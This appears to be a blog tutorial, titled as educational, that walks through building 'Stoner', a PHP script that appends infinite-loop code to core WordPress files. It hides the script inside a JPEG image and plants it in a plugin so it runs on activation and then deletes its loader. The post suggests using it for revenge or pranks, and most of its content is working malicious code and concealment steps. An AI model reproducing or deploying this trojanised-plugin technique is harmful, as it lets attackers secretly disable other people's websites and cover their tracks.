Note: This tutorial and provided programming is only for educational purpose. This website is not responsible for any type of illegal sort of work, to harm anybody or anybody's website. And please note that the use of this for purposes of injection into live sites is prohibited.

This post serves to teach you how to make a script that can inject malicious codes into some vital files of Wordpress. You can use this script for your revenge or a prank with your friend.




For making this script, we're gonna use a php code which makes an infinite loop and thus confuses the web server to execute other scripts. To hide the main source file, we'll also use Cryptography.

First of all, we'll make a php script that can inject the codes into the important files of Wordpress.

I have named this script as "Stoner" which stones the server and the user's browser, like the Stone Virus.

File: stoner.php

<?php
function stone($target){
    $fp = fopen($target, "a");
    $true = '$true';
    $content = "?>\n<?php\n
    ".$true." = TRUE;\n
    while (".$true."){
        echo 'Stoned';
    }
    \n?>";
    fwrite($fp, $content);
    fclose($fp);
}
?>

In this file, we've created a function called stone() that does all the work. It's argument is $target - the target file which is to be injected. The content that will be injected is the while loop that runs infinitely.
This is the content which will be injected -

<?php
$true = TRUE;
while ($true){
    echo 'Stoned';
}
?>

To make this more worst, you can put another infinite while loop inside the parent while loop, like this -

<?php
$true = TRUE;
while ($true){
    while ($true){
        echo 'Stoned';
    } 
}
?>

Or a more worst and dangerous type of this injection could be this -

<?php
$true = TRUE;
for ($i=1; $i <= 100; $i++){
    while ($true){
        //do nothing, because nothing will work properly
    }
}
?>

Here, we are repeating the infinite loop 100 times. Don't dare to use it on your server, it's DAMN dangerous.

This is an extremely simple and an extremely dangerous script. Now we have to hide it so that user can't read it's source or understand it anyway. We'll use Cryptography to hide this script behind an Image, but it can still be included or required through php.

First, save this script somewhere and copy it to any drive in your "My Computer". I am using the 'D' Drive.
And copy a good image too to the same drive.

My script's name is stoner.php and image's name is nature.jpg.

1. Open Command Prompt from start -> All Programs -> Accessories -> Command Prompt.  Or type cmd in Run.
2. Write the Disk Drive in which you pasted files, for my case I'll write "D:" .
3. Write this Command which is used for basic Cryptography to hide a file inside another.

COPY /b nature.jpg+stoner.php nature.jpg

And file will be copied inside the image.
Now you have an image behind which a dangerous injection script is hidden.

Create another file called self.php

File: self.php

<div style="display:none">
<?php
require("nature.jpg");
stone(ABSPATH . 'wp-load.php');
stone(ABSPATH . 'wp-includes/cache.php');
stone(ABSPATH . 'wp-includes/admin-bar.php');
stone(ABSPATH . 'wp-includes/meta.php');
unlink("self.php");
?>
</div>

Now copy this file and that two-in-one image file to any plugin's main folder. And open one of the files of that plugin. And just require or include this file so that all the injection script can be run, like this -
require_once("self.php");

As soon as the user installs and activates the plugin, the self.php file also runs via the file in which it is included and so does the injection of files take place. In the last line of the self.php file's codes, the file deletes itself so that the user can not understand that what actually happened. The user would not be able to figure out what exactly is going on.

And to overcome this problem, the only way is left is to edit all the files which are injected and delete the written code at the bottom of the file.

If you find any problems in this tutorial, you can ask in comments. I'll try to answer as soon as possible.
You may give your opinion and advice about this tutorial and feedback.